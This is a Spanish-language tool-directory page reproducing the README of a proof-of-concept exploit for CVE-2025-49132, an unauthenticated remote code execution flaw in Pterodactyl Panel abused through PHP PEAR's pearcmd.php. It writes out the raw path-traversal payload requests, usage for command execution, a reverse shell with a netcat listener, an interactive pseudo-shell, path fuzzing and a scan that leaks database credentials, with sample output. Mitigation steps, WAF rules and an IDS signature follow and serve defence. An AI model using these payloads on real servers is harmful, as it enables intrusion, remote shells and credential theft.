Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
Herramientas/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

Ver Repositorio
31hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-49132: RCE no autenticado en Pterodactyl Panel mediante el método PHP PEAR

CVSSv3 License Python

Tabla de contenidos

  • Descripción general
  • Detalles de la vulnerabilidad
  • Análisis técnico
  • Flujo del exploit
  • Instalación
  • Uso
  • Ejemplos
  • Mitigación
  • Descargo de responsabilidad
  • Referencias
  • Autor

Descripción general

Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2025-49132, una vulnerabilidad crítica de ejecución remota de código no autenticada en Pterodactyl Panel en versiones anteriores a la 1.11.11.

Pterodactyl Panel es un panel gratuito y de código abierto para la gestión de servidores de juegos, desarrollado en PHP. La vulnerabilidad permite a un atacante no autenticado ejecutar comandos arbitrarios del sistema en el servidor objetivo mediante el manejo inadecuado del endpoint /locales/locale.json combinado con la funcionalidad pearcmd.php de PHP PEAR.

Resumen de la vulnerabilidad

  • ID de CVE: CVE-2025-49132
  • Puntuación CVSS: 10.0 (Crítica)
  • Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: Control inadecuado de la generación de código ('Inyección de código')
  • Versiones afectadas: Pterodactyl Panel < 1.11.11
  • Complejidad del ataque: Baja
  • Privilegios requeridos: Ninguno (no autenticado)
  • Interacción del usuario: Ninguna

Detalles de la vulnerabilidad

¿Qué es PHP PEAR?

PHP PEAR (PHP Extension and Application Repository) es un framework y un sistema de distribución de componentes PHP reutilizables. Proporciona una herramienta de línea de comandos (pearcmd.php) que puede utilizarse para gestionar paquetes PEAR.

El archivo pearcmd.php procesa comandos a través de parámetros de URL y, cuando se combina con path traversal, puede aprovecharse para:

  1. Crear archivos PHP arbitrarios en el sistema
  2. Ejecutar esos archivos a través del servidor web

Causa raíz

La vulnerabilidad existe porque:

  1. Path traversal sin validar: El parámetro locale en /locales/locale.json permite path traversal sin una validación adecuada
  2. Inclusión directa de archivos: La aplicación incluye directamente archivos basándose en entradas controladas por el usuario
  3. Inyección de comandos PEAR: El script pearcmd.php acepta el comando +config-create, que puede escribir archivos PHP arbitrarios
  4. Acceso no autenticado: El endpoint vulnerable no requiere autenticación

Vector de ataque

Un atacante puede:

  1. Usar path traversal para alcanzar el directorio de instalación de PEAR
  2. Abusar del comando config-create para escribir código PHP malicioso en /tmp
  3. Ejecutar el archivo PHP malicioso a través del mismo endpoint
  4. Conseguir ejecución remota de código completa como usuario del servidor web

Análisis técnico

Proceso de explotación

El exploit funciona en dos etapas:

Etapa 1: Creación del payload

root@kitploit:~
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

Desglose:

  • +config-create+/ - Invoca la funcionalidad de creación de configuración de PEAR
  • locale=../../../../../../usr/share/php/PEAR - Path traversal al directorio de PEAR
  • namespace=pearcmd - Apunta al archivo pearcmd.php
  • <?=system('id')?>+/tmp/payload.php - Payload PHP y archivo de destino

Etapa 2: Ejecución del payload

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

Desglose:

  • locale=../../../../../../tmp - Path traversal al directorio /tmp
  • namespace=payload - Incluye y ejecuta payload.php

Por qué la codificación de URL rompe el exploit

El exploit requiere enviar caracteres especiales (<, >, ?, =) en la URL sin codificarlos. Si estos caracteres se codifican en la URL:

  • <?=system('id')?> se convierte en %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • PEAR lo interpreta como texto literal en lugar de código PHP
  • Las etiquetas PHP no se reconocen, lo que impide la ejecución de código

Flujo del exploit

root@kitploit:~
graph TD
    A[Attacker] -->|1. Path Traversal Request| B[locale.json]
    B -->|2. Traverse to PEAR| C[pearcmd.php]
    C -->|3. config-create Command| D[Write PHP Payload]
    D -->|4. Create File| E[payload.php]
    E -->|5. File Created| F[Server Filesystem]
    
    A -->|6. Execution Request| G[locale.json]
    G -->|7. Traverse to tmp| E
    E -->|8. Include and Execute| H[PHP Interpreter]
    H -->|9. System Command| I[Shell Command]
    I -->|10. Command Output| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

Diagrama del flujo de ataque

root@kitploit:~
sequenceDiagram
    participant Attacker
    participant Web Server
    participant PEAR
    participant Filesystem
    participant PHP Engine
    
    Attacker->>Web Server: GET locale.json with config-create
    Web Server->>PEAR: Path Traversal to pearcmd
    PEAR->>Filesystem: Create payload.php
    Filesystem-->>Attacker: 200 OK
    
    Attacker->>Web Server: GET locale.json with payload namespace
    Web Server->>Filesystem: Path Traversal to payload.php
    Filesystem->>PHP Engine: Include payload
    PHP Engine->>PHP Engine: Execute system command
    PHP Engine-->>Attacker: Command Output RCE

Instalación

Requisitos previos

  • Python 3.6 o superior
  • Librería requests

Clonar el repositorio

root@kitploit:~
git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

Instalar dependencias

root@kitploit:~
pip3 install -r requirements.txt

O manualmente:

root@kitploit:~
pip3 install requests

Uso

Ejecución básica de comandos

root@kitploit:~
python3 poc.py -H <target_host> -c "<command>"

Shell inversa

root@kitploit:~
# On attacker machine, start listener
nc -lvnp 4444

# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444

Pseudo-shell interactiva

root@kitploit:~
python3 poc.py -H <target_host> --shell

Fuzzing de instalaciones PEAR

root@kitploit:~
python3 poc.py -H <target_host> --fuzz

Escaneo de vulnerabilidad

root@kitploit:~
python3 poc.py -H <target_host> --scan

Comprueba CVE-2025-49132 mediante fugas de configuración (credenciales de base de datos, app key).

Ruta PEAR personalizada

root@kitploit:~
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

Salida verbosa

root@kitploit:~
python3 poc.py -H <target_host> -c "id" -v

Muestra el progreso detallado (creación del payload, ruta PEAR, estado de ejecución).

Opciones completas

root@kitploit:~
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Target host (e.g., 192.168.1.100 or example.com)
  -c COMMAND            Command to execute on target system
  -r REVERSE_SHELL      Reverse shell (format: LHOST:LPORT)
  --shell               Interactive pseudo-shell mode
  --fuzz                Fuzz for PEAR installation paths
  --scan                Scan target for vulnerability (config leaks)
  -p PEAR_PATH          Custom PEAR path (default: /usr/share/php/PEAR)
  -e ENDPOINT           Vulnerable endpoint (default: /locales/locale.json)
  --ssl                 Use HTTPS
  --timeout TIMEOUT     Request timeout in seconds (default: 10)
  -v, --verbose         Verbose progress output

Ejemplos

Ejemplo 1: Ejecución básica de comandos

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Usa -v para obtener una salida verbosa (detalles del payload, ruta PEAR, etc.).

Ejemplo 2: Shell inversa

root@kitploit:~
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...

# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] Make sure your listener is running: nc -lvnp 4444

# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

Ejemplo 3: Pseudo-shell interactiva

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

Ejemplo 4: Fuzzing de rutas PEAR

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] Found 3 potential PEAR installation(s):
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation

Usa -v para ver el progreso del fuzzing por ruta.

Ejemplo 5: Escáner de vulnerabilidades

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
    Host:     127.0.0.1
    Port:     3306
    Database: panel
    Username: pterodactyl
    Password: ********
    Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
    App Key: base64{...}
    [!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132

Mitigación

Acciones inmediatas

  1. Actualizar Pterodactyl Panel

    root@kitploit:~
    cd /var/www/pterodactyl
    php artisan p:upgrade
    

    Actualiza a la versión 1.11.11 o posterior.

  2. Deshabilitar el endpoint vulnerable (Solución temporal)

    Añade lo siguiente a la configuración de tu servidor web:

    Apache (.htaccess):

    root@kitploit:~
    <Files "locale.json">
        Order Allow,Deny
        Deny from all
    </Files>
    

    Nginx:

    root@kitploit:~
    location ~* /locales/locale\.json {
        deny all;
        return 403;
    }
    

    Nota: Esto romperá las funciones de localización.

  3. Firewall de aplicación web (WAF)

    Implementa reglas WAF para bloquear intentos de path traversal:

    root@kitploit:~
    SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
    

Soluciones a largo plazo

  1. Validación de entradas: Implementar una validación estricta para los parámetros locale y namespace
  2. Saneamiento de rutas: Usar realpath() para resolver y validar las rutas de archivos
  3. Enfoque de lista blanca: Permitir únicamente valores de locale específicos y predefinidos
  4. Autenticación: Requerir autenticación para los endpoints de locale
  5. Auditorías de seguridad: Evaluaciones de seguridad periódicas y pruebas de penetración

Detección

Análisis de registros (logs) - Busca patrones sospechosos:

root@kitploit:~
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

Firmas IDS/IPS:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)

Descargo de responsabilidad

SOLO PARA FINES EDUCATIVOS Y PRUEBAS AUTORIZADAS

Este exploit de prueba de concepto se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este programa.

Aviso legal

  • ✅ HACER: Usa esta herramienta para pruebas de penetración autorizadas e investigación de seguridad
  • ✅ HACER: Usa esta herramienta en sistemas que poseas o sobre los que tengas permiso explícito para realizar pruebas
  • ✅ HACER: Usa esta herramienta para verificar parches y controles de seguridad
  • ❌ NO HACER: No uses esta herramienta contra sistemas sin autorización explícita
  • ❌ NO HACER: No uses esta herramienta con fines maliciosos
  • ❌ NO HACER: No despliegues esta herramienta en entornos de producción sin los controles adecuados

El acceso no autorizado a sistemas informáticos es ilegal. Los usuarios son responsables de garantizar el cumplimiento de las leyes y regulaciones aplicables.

Referencias

  • CVE-2025-49132 - NVD
  • GitHub Advisory: GHSA-24wv-6c99-f843
  • Aviso de seguridad de Pterodactyl Panel
  • Documentación de PHP PEAR
  • CWE-94: Inyección de código

Autor

xffsec

Contacto
GitHub: @xffsec
Correo electrónico: [email protected]

Licencia

Este proyecto está bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.

Contribuciones

¡Las contribuciones, los issues y las solicitudes de funciones son bienvenidos! No dudes en abrir un issue o enviar un pull request.

Agradecimientos

  • Al equipo de desarrollo de Pterodactyl Panel por su proceso de divulgación responsable
  • A la comunidad de investigación en seguridad
  • A HackTheBox por proporcionar un entorno seguro para practicar estas técnicas

⚠️ Recuerda: Practica siempre la divulgación responsable y nunca explotes vulnerabilidades sin la autorización adecuada.

Descargar herramienta